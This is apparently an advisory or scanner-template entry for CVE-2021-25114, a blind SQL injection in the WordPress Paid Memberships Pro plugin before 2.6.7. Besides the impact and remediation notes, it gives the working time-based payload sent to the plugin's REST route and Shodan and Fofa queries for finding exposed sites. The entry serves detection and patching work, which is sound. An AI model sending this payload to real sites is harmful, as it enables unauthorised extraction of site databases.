| Title | WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database. |
| Remediation | Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.80944 |
| CVE ID | CVE-2021-25114 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/paid-memberships-pro/ |
| Fofa Query | body=/wp-content/plugins/paid-memberships-pro/ |
| Tags | time-based-sqli cve2021 cve wp-plugin wp sqli paid-memberships-pro wpscan wordpress strangerstudios vkev vuln |
WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25114.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25114.pcap
N/AN/A